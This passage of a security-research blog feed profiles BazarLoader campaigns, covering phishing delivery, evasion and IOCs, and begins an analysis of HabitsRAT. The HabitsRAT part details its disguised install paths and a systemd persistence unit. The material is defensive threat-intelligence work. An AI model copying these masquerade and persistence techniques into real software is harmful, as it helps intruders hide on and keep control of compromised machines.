&lt;a href="https://www.bleepingcomputer.com/news/security/bazarbackdoor-trickbot-gang-s-new-stealthy-network-hacking-malware/"target="_blank" rel="noopener"&gt;first campaign&lt;/a&gt;,
Bazar has been extremely active and has taken part in large-scale breaches
including the
&lt;a href="https://www.bleepingcomputer.com/news/security/uhs-hospitals-hit-by-reported-country-wide-ryuk-ransomware-attack/"target="_blank" rel="noopener"&gt;nationwide Ryuk ransomware attack on UHS hospitals&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The name &amp;lsquo;Bazar&amp;rsquo; was given to the malware because of its use of
&lt;a href="https://emercoin.com/en/emerdns"target="_blank" rel="noopener"&gt;EmerDNS&lt;/a&gt; (.bazar) domains for
command-and-control networking. On top of serving as a backdoor, Bazar is
designed to gain a foothold on the victim&amp;rsquo;s machine to deliver an additional
payload as a next phase of the attack. The time between Bazar installation and
payload delivery can vary between a
&lt;a href="https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/"target="_blank" rel="noopener"&gt;few hours&lt;/a&gt;
to &lt;a href="https://www.hhs.gov/sites/default/files/bazarloader.pdf"target="_blank" rel="noopener"&gt;days&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In this post we will profile Bazar and highlight four prominent campaigns
delivering this year-old malware.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2021/05/wrapping-up-a-year-of-infamous-bazar-campaigns/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;Key Profiling&lt;span class="hx:absolute hx:-mt-20" id="key-profiling"&gt;&lt;/span&gt;
&lt;a href="#key-profiling" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Attribution&lt;span class="hx:absolute hx:-mt-20" id="attribution"&gt;&lt;/span&gt;
&lt;a href="#attribution" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Based on code similarities, delivery, infrastructure and operation methods,
researchers believe that Bazar was developed by the TrickBot gang (aka Team9).&lt;/p&gt;
&lt;h3&gt;Targets&lt;span class="hx:absolute hx:-mt-20" id="targets"&gt;&lt;/span&gt;
&lt;a href="#targets" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The operators behind the malware are mainly financially motivated, meaning they
target organizations with high capital.&lt;/p&gt;
&lt;h3&gt;Delivery Method&lt;span class="hx:absolute hx:-mt-20" id="delivery-method"&gt;&lt;/span&gt;
&lt;a href="#delivery-method" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The malware delivery method is purely based on social engineering initiated
with a phishing email. The email will usually contain a link to a website,
hosting a malicious Microsoft Office document, delivering Bazar upon running
the document on a victim&amp;rsquo;s machine, or it will host the malware itself
masqueraded as a document.&lt;/p&gt;
&lt;h3&gt;Stealth&lt;span class="hx:absolute hx:-mt-20" id="stealth"&gt;&lt;/span&gt;
&lt;a href="#stealth" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Bazar implements the following evasion techniques to bypass detection:&lt;/p&gt;
&lt;p&gt;&lt;a href="https://attack.mitre.org/techniques/T1553/002/"target="_blank" rel="noopener"&gt;Signing malware with certificates&lt;/a&gt;:
Antiviruses tend to rely on code signing certificates to increase the
credibility of a file. Therefore, signed files are less likely to be detected
as malicious by Antivirus vendors.&lt;/p&gt;
&lt;p&gt;Fileless payload: Bazar uses a lightweight loader to inject its fileless
payload into memory. Fileless malware challenges traditional Antivirus
solutions as it resides only in memory and leaves no footprint on disk. The
following is the genetic analysis of a Bazar sample
(&lt;code&gt;3578e96b72cba790179d546f11e045ca&lt;/code&gt;) injecting fileless code into memory.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/05/wrapping-up-a-year-of-infamous-bazar-campaigns/images/fig2.png" title="Bazar sample (3578e96b72cba790179d546f11e045ca) injects fileless code" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Bazar sample (3578e96b72cba790179d546f11e045ca) injects fileless code&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Use of decentralized C2C: For its C2C communication, Bazar uses
&lt;a href="https://emercoin.com/en/emerdns"target="_blank" rel="noopener"&gt;EmerDNS&lt;/a&gt; which is a decentralized domain name
system based on Emercoin blockchain technology. EmerDNS domains cannot be
altered, revoked, or suspended, which allows Bazar&amp;rsquo;s operations to be nearly
immune from a take down attempt by law enforcement.&lt;/p&gt;
&lt;h2&gt;Timeline and Milestone Campaigns&lt;span class="hx:absolute hx:-mt-20" id="timeline-and-milestone-campaigns"&gt;&lt;/span&gt;
&lt;a href="#timeline-and-milestone-campaigns" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;As Bazar evolves and takes part in different phishing campaigns, we are
highlighting the top four milestones of this threat so far.&lt;/p&gt;
&lt;h3&gt;Apr 2020 – Bazar Exposed to the Masses&lt;span class="hx:absolute hx:-mt-20" id="apr-2020--bazar-exposed-to-the-masses"&gt;&lt;/span&gt;
&lt;a href="#apr-2020--bazar-exposed-to-the-masses" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;With the outburst of COVID-19, many threat actors leveraged the pandemic for
phishing campaigns. This theme was used as part of the
&lt;a href="https://www.bleepingcomputer.com/news/security/bazarbackdoor-trickbot-gang-s-new-stealthy-network-hacking-malware/"target="_blank" rel="noopener"&gt;first documented campaign&lt;/a&gt;
delivering Bazar.&lt;/p&gt;
&lt;p&gt;Similar to other campaigns using Bazar, this one began with a phishing email
containing a link to a page hosted on Google Docs. On this page, the victim was
lured to click on a link preview to a doc report. By clicking on the link, the
victim would download the Bazar malware executable masqueraded as a document.
Because
&lt;a href="https://www.bleepingcomputer.com/news/microsoft/hiding-windows-file-extensions-is-a-security-risk-enable-now/"target="_blank" rel="noopener"&gt;Windows does not present&lt;/a&gt;
a file&amp;rsquo;s extension by default, threat actors are able to trick victims by
masquerading a non-executable file type, so that the file has a word document
icon but it is in fact an executable.&lt;/p&gt;
&lt;p&gt;The next image shows a Google Docs page hosting the malware executable.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/05/wrapping-up-a-year-of-infamous-bazar-campaigns/images/fig3.png" title="COVID-19 themed phishing campaign (source: BleepingComputer)" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;COVID-19 themed phishing campaign (source: BleepingComputer)&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Interestingly, one of these phishing emails was sent to a BleepingComputer
domain.&lt;/p&gt;
&lt;h3&gt;Sep 2020 – Healthcare, Ransomware and Bazar in Between&lt;span class="hx:absolute hx:-mt-20" id="sep-2020--healthcare-ransomware-and-bazar-in-between"&gt;&lt;/span&gt;
&lt;a href="#sep-2020--healthcare-ransomware-and-bazar-in-between" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;&lt;a href="https://www.bleepingcomputer.com/news/security/uhs-hospitals-hit-by-reported-country-wide-ryuk-ransomware-attack/"target="_blank" rel="noopener"&gt;UHS hospitals&lt;/a&gt;
were hit by a Ryuk ransomware attack in September 2020. This attack was part of
a greater trend targeting hospitals and other healthcare-related organizations
in the United States.&lt;/p&gt;
&lt;p&gt;These ransomware attacks were initiated with phishing emails sent to employees
delivering Bazar but also BuerLoader or TrickBot. After an employee was lured
to install Bazar, a Cobalt Strike Beacon was delivered to the victim&amp;rsquo;s machine
for lateral movement and persistence. Together with Cobalt Strike, other
penetration testing tools were installed and ran on the victim&amp;rsquo;s machine for
reconnaissance and privilege escalation purposes. Ryuk ransomware was delivered
as the final step of the attack to run widely on the organization&amp;rsquo;s assets.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/05/wrapping-up-a-year-of-infamous-bazar-campaigns/images/fig4.png" title="CISA alert on the ransomware campaign" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;CISA alert on the ransomware campaign&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;This attack chain not only targeted the healthcare sector but also went after
different organizations inside France after it became public that
&lt;a href="https://www.lemagit.fr/actualites/252491402/Cyberattaque-Ryuk-chez-Sopra-Steria-ce-que-nous-apprennent-les-echantillons"target="_blank" rel="noopener"&gt;Sopra Steria&lt;/a&gt;,
a French consulting organization, was hit by Ryuk.&lt;/p&gt;
&lt;h3&gt;Jan 2021 – Hello, Who is This?&lt;span class="hx:absolute hx:-mt-20" id="jan-2021--hello-who-is-this"&gt;&lt;/span&gt;
&lt;a href="#jan-2021--hello-who-is-this" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The BazarCall campaign may be the most interesting social engineering method
used for delivering Bazar thus far.&lt;/p&gt;
&lt;p&gt;As the first step, a personalized phishing email is sent claiming that a free
trial for a [fake] product is about to expire, and the addressee will be
charged via a &amp;ldquo;pre provided payment method.&amp;rdquo; The email also states that if the
addressee wishes to drop the subscription, they can make a call to the
&amp;ldquo;customer service center.&amp;rdquo; Once a victim calls the customer service center
number, the &amp;ldquo;service provider&amp;rdquo; lures the user to browse a phishing website,
insert a code, and click on &amp;ldquo;unsubscribe.&amp;rdquo; By clicking unsubscribe a malicious
Microsoft Office document is downloaded delivering Bazar.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/05/wrapping-up-a-year-of-infamous-bazar-campaigns/images/fig5.png" title="Example of a BazarCall phishing email (source: Sophos)" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Example of a BazarCall phishing email (source: Sophos)&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The email has no indication of maliciousness as it does not contain any links
or attachments but it is purely an attempt to exploit the innocence of the
victims who are lured to make the phone call.&lt;/p&gt;
&lt;p&gt;This &lt;a href="https://www.youtube.com/watch?v=uAkeXCYcl4Y"target="_blank" rel="noopener"&gt;YouTube video&lt;/a&gt; documents a
phone call between a researcher posing as a victim and the &amp;ldquo;service provider.&amp;rdquo;&lt;/p&gt;
&lt;p&gt;The campaign, which started by delivering BazarLoader, continues to deliver
other loaders such as IceID.&lt;/p&gt;
&lt;h3&gt;Feb 2021 – Nim What?&lt;span class="hx:absolute hx:-mt-20" id="feb-2021--nim-what"&gt;&lt;/span&gt;
&lt;a href="#feb-2021--nim-what" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;In the beginning of February, a new and unusual
&lt;a href="https://www.bleepingcomputer.com/news/security/trickbots-bazarbackdoor-malware-is-now-coded-in-nim-to-evade-antivirus/"target="_blank" rel="noopener"&gt;version of Bazar&lt;/a&gt;
was detected—an implementation of the backdoor written in
&lt;a href="https://nim-lang.org/"target="_blank" rel="noopener"&gt;Nim&lt;/a&gt;, which is a statically-typed self-contained
programming language.&lt;/p&gt;
&lt;p&gt;Because Nim is not a common choice for malware development, it is believed that
the use of this programming language is an attempt to bypass detection. This
attempt can be considered successful as this version, also known as
&amp;lsquo;&lt;a href="https://twitter.com/GossiTheDog/status/1357396209372168199"target="_blank" rel="noopener"&gt;BazarNimrod&lt;/a&gt;&amp;rsquo; and
&amp;lsquo;&lt;a href="https://www.proofpoint.com/us/blog/threat-insight/nimzaloader-ta800s-new-initial-access-malware"target="_blank" rel="noopener"&gt;NimzaLoader&lt;/a&gt;,&amp;rsquo;
had low detection rates in VirusTotal.&lt;/p&gt;
&lt;p&gt;Bazar is not the first malware written in Nim. Sofacy (Russian APT) developed a
&lt;a href="https://www.welivesecurity.com/2019/09/24/no-summer-vacations-zebrocy/"target="_blank" rel="noopener"&gt;downloader in Nim&lt;/a&gt;
for their Zebrocy tool.&lt;/p&gt;
&lt;h2&gt;Final Words&lt;span class="hx:absolute hx:-mt-20" id="final-words"&gt;&lt;/span&gt;
&lt;a href="#final-words" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Threat actors are highly motivated and must keep reinventing themselves to stay
effective. They put in the time and money to bypass Antivirus detection on the
way to successful compromises. We assess that cybercriminals will continue to
step up their game with social engineering creativity and different malware
implementation.&lt;/p&gt;
&lt;h2&gt;How to Protect Your Organization&lt;span class="hx:absolute hx:-mt-20" id="how-to-protect-your-organization"&gt;&lt;/span&gt;
&lt;a href="#how-to-protect-your-organization" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Bazar and similar threats use social engineering as an entry point and keep a
low profile once inside. Keep in mind that it takes only one employee to take
down an entire organization.&lt;/p&gt;
&lt;p&gt;Take the following steps to keep your organization clean from these type of
attacks:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Enhance social engineering awareness inside your organization.&lt;/li&gt;
&lt;li&gt;Perform proactive hunting on all endpoints inside your organization to make
sure that no traces of malicious code or malware exist. Intezer&amp;rsquo;s live
Endpoint Scanner collects all binaries running in memory, including fileless,
and classifies them using genetic code analysis technology.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/05/wrapping-up-a-year-of-infamous-bazar-campaigns/images/fig6.png" title="Endpoint scan on an infected machine" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Endpoint scan on an infected machine&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Files&lt;span class="hx:absolute hx:-mt-20" id="files"&gt;&lt;/span&gt;
&lt;a href="#files" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;3d483689f373a12f6f9607079b9cebb9 signed BazarBackdoor
bcda9eed7688400b654b88e4f0bdb3f0 signed BazarBackdoor
52a8527e0d7cd86b1d04ccc80eb6595e signed BazarBackdoor
06118d290e54e106d0571234946c2e0d signed BazarBackdoor
3578e96b72cba790179d546f11e045ca Bazar loader injecting a fileless payload
1d528a2e1d0a097421e57f86ba04e79f BazarLoader written in Nim&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Network&lt;span class="hx:absolute hx:-mt-20" id="network"&gt;&lt;/span&gt;
&lt;a href="#network" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;ds45x1[.]com
x57gc[.]com
x55gc[.]com&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h2&gt;References&lt;span class="hx:absolute hx:-mt-20" id="references"&gt;&lt;/span&gt;
&lt;a href="#references" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.bleepingcomputer.com/news/security/bazarbackdoor-trickbot-gang-s-new-stealthy-network-hacking-malware/"target="_blank" rel="noopener"&gt;https://www.bleepingcomputer.com/news/security/bazarbackdoor-trickbot-gang-s-new-stealthy-network-hacking-malware/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.bleepingcomputer.com/news/security/bazarcall-malware-uses-malicious-call-centers-to-infect-victims/"target="_blank" rel="noopener"&gt;https://www.bleepingcomputer.com/news/security/bazarcall-malware-uses-malicious-call-centers-to-infect-victims/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.advanced-intel.com/post/front-door-into-bazarbackdoor-stealthy-cybercrime-weapon"target="_blank" rel="noopener"&gt;https://www.advanced-intel.com/post/front-door-into-bazarbackdoor-stealthy-cybercrime-weapon&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://threatpost.com/bazarloader-malware-slack-basecamp/165455/"target="_blank" rel="noopener"&gt;https://threatpost.com/bazarloader-malware-slack-basecamp/165455/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.sophos.com/en-us/2021/04/15/bazarloader/"target="_blank" rel="noopener"&gt;https://news.sophos.com/en-us/2021/04/15/bazarloader/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles#trickbot-connection"target="_blank" rel="noopener"&gt;https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles#trickbot-connection&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.advanced-intel.com/post/front-door-into-bazarbackdoor-stealthy-cybercrime-weapon"target="_blank" rel="noopener"&gt;https://www.advanced-intel.com/post/front-door-into-bazarbackdoor-stealthy-cybercrime-weapon&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>HabitsRAT Used to Target Linux and Windows Servers</title><link>https://research.intezer.com/blog/2021/04/habitsrat-used-to-target-linux-and-windows-servers/</link><pubDate>Tue, 20 Apr 2021 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2021/04/habitsrat-used-to-target-linux-and-windows-servers/</guid><description>
&lt;p&gt;We have discovered a new malware written in Go, which we are calling HabitsRAT,
targeting both Windows and Linux machines. The Windows version of the malware
was first reported on by
&lt;a href="https://krebsonsecurity.com/2021/03/no-i-did-not-hack-your-ms-exchange-server/"target="_blank" rel="noopener"&gt;Brian Krebs&lt;/a&gt;
and
&lt;a href="https://www.shadowserver.org/news/shadowserver-special-report-exchange-scanning-5/"target="_blank" rel="noopener"&gt;The Shadowserver Foundation&lt;/a&gt;
in attacks against Microsoft Exchange servers. In addition to this version, we
have identified a newer Windows variant and a variant targeting Linux
environments. As of this writing, the Linux version is undetected by all
Antivirus engines on VirusTotal. We assess that the Linux version is used to
target Linux servers in an adjacent campaign to the one reported by The
Shadowserver Foundation. The malware allows the attacker to control the
compromised machine remotely. To protect themself from being taken over by
others, the attacker&amp;rsquo;s commands are signed by a private key that only the
attacker has access to. The malware does not execute commands that are not
signed by the correct key, suggesting that the malware has been developed by a
sophisticated programmer.&lt;/p&gt;
&lt;h2&gt;Intro&lt;span class="hx:absolute hx:-mt-20" id="intro"&gt;&lt;/span&gt;
&lt;a href="#intro" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;On March 28th, Brian Krebs published a
&lt;a href="https://krebsonsecurity.com/2021/03/no-i-did-not-hack-your-ms-exchange-server/"target="_blank" rel="noopener"&gt;blog post&lt;/a&gt;
about attacks against Microsoft Exchange servers. In one of those attacks, a
webshell called &amp;ldquo;Babydraco&amp;rdquo; was deployed. The webshell was used to deploy a new
malware. The binary had the filename &lt;code&gt;krebsonsecurity.exe&lt;/code&gt; and used a Command
and Control (C2) server located at &lt;code&gt;brian[.]krebsonsecurity[.]top&lt;/code&gt;. This
malware turns out to be a remote access trojan (RAT) that has been written to
target both Windows and Linux machines. Based on strings found in the malware,
we have named it HabitsRAT.&lt;/p&gt;
&lt;p&gt;While the Windows version of the RAT has been documented being installed on
compromised Microsoft Exchange servers, it is not known what type of servers
the Linux version is used against. Still, in the last couple of months,
numerous remote code execution (RCE) vulnerabilities have been disclosed in
hardware and services running on top of Linux. About a month ago, CISA released
an advisory urging users of F5 BIG-IP to apply patches to address RCE
vulnerabilities.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;The HabitsRAT is a simple backdoor that allows the malware operator to execute
arbitrary code on the infected machine. While the backdoor is simple in design,
the malware has functionality making the attack more complex than what is
normally seen. The malware is written in Go and targets at least both Windows
and Linux machines. The structure for the Windows version of the malware,
&lt;a href="https://github.com/goretk/redress/"target="_blank" rel="noopener"&gt;generated by redress&lt;/a&gt;, is shown in the
code snippet below. Most of the code is shared between the Windows version and
the Linux version. The operating system-specific code has been placed in the
files &lt;code&gt;commandplatform_windows.go&lt;/code&gt;, &lt;code&gt;keyplatform_windows.go&lt;/code&gt; and
&lt;code&gt;persistencehandler_windows.go&lt;/code&gt;. The rest of the files are shared with the
Linux version.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;Package main: C:/Users/user/habits/habits-client
File: commandhandler.go
RunSignedCommand Lines: 17 to 35 (18)
File: commandplatform_windows.go
RunCommand Lines: 8 to 13 (5)
File: keyhandler.go
GetOrGenerateKey Lines: 13 to 23 (10)
GenerateKey Lines: 23 to 42 (19)
GetKeyStore Lines: 42 to 50 (8)
SetKey Lines: 50 to 68 (18)
GetKey Lines: 68 to 77 (9)
File: keyplatform_windows.go
GetRootKeyStore Lines: 11 to 19 (8)
GetUserKeyStore Lines: 19 to 27 (8)
IsRoot Lines: 27 to 49 (22)
File: main.go
main Lines: 17 to 34 (17)
File: persistencehandler.go
InstallPersistence Lines: 9 to 17 (8)
CopyBinary Lines: 17 to 22 (5)
File: persistencehandler_windows.go
CheckPersistence Lines: 11 to 21 (10)
GetBinStoreRoot Lines: 21 to 29 (8)
GetBinStoreUser Lines: 29 to 37 (8)
InstallPersistRoot Lines: 37 to 98 (61)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The Linux source code structure is shown in the code snippet below. The Linux
specific code has been placed in the files &lt;code&gt;commandplatform_linux.go&lt;/code&gt;,
&lt;code&gt;keyplatform_linux.go&lt;/code&gt; and &lt;code&gt;persistencehandler_systemd_linux.go&lt;/code&gt;.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;Package main: C:/Users/user/habits/habits-client
File: commandhandler.go
RunSignedCommand Lines: 17 to 35 (18)
File: commandplatform_linux.go
RunCommand Lines: 8 to 13 (5)
File: keyhandler.go
GetOrGenerateKey Lines: 13 to 23 (10)
GenerateKey Lines: 23 to 46 (23)
GetKeyStore Lines: 46 to 54 (8)
SetKey Lines: 54 to 72 (18)
GetKey Lines: 72 to 84 (12)
IsRootAsString Lines: 84 to 86 (2)
File: keyplatform_linux.go
GetRootKeyStore Lines: 9 to 16 (7)
GetUserKeyStore Lines: 16 to 17 (1)
File: main.go
main Lines: 17 to 34 (17)
File: persistencehandler.go
InstallPersistence Lines: 9 to 17 (8)
CopyBinary Lines: 17 to 20 (3)
File: persistencehandler_systemd_linux.go
Systemd_CheckPersistence Lines: 11 to 25 (14)
Systemd_GetBinStoreUser Lines: 25 to 33 (8)
Systemd_InstallPersistRoot Lines: 33 to 64 (31)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Installation&lt;span class="hx:absolute hx:-mt-20" id="installation"&gt;&lt;/span&gt;
&lt;a href="#installation" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;When the binary is run, it installs itself into a folder. The Windows version&amp;rsquo;s
location is &lt;code&gt;%SystemDrive%\Windows\Defender\MsMpEng.exe&lt;/code&gt; while the Linux version
is &lt;code&gt;$HOME/.config/polkitd/polkitd&lt;/code&gt;. This will result in the malware being
installed under &lt;code&gt;/root&lt;/code&gt; if it&amp;rsquo;s being run with root privileges.&lt;/p&gt;
&lt;p&gt;After the malware has installed itself, it checks if the persistence method has
been set up. If it hasn&amp;rsquo;t, it goes ahead and sets it up. On Linux, it uses a
&amp;ldquo;systemd&amp;rdquo; unit file. The malware checks if it&amp;rsquo;s already configured by executing
the command &lt;code&gt;systemctl status polkitd&lt;/code&gt;, as shown in Figure 1.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/04/habitsrat-used-to-target-linux-and-windows-servers/images/fig1.png" title="Figure 1: Linux version of the malware checks if persistence has been configured already." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 1: Linux version of the malware checks if persistence has been configured already.&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The systemd unit file is created at &lt;code&gt;/etc/systemd/system/polkitd.service&lt;/code&gt; and
its content is shown in the code snippet below.&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;[Unit]
Description=Authorization Manager
After=network.target
[Service]
GuessMainPID=no
ExecStart=&amp;#34;/path/to/binary&amp;#34;
Restart=always
[Install]
WantedBy=multi-user.target&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
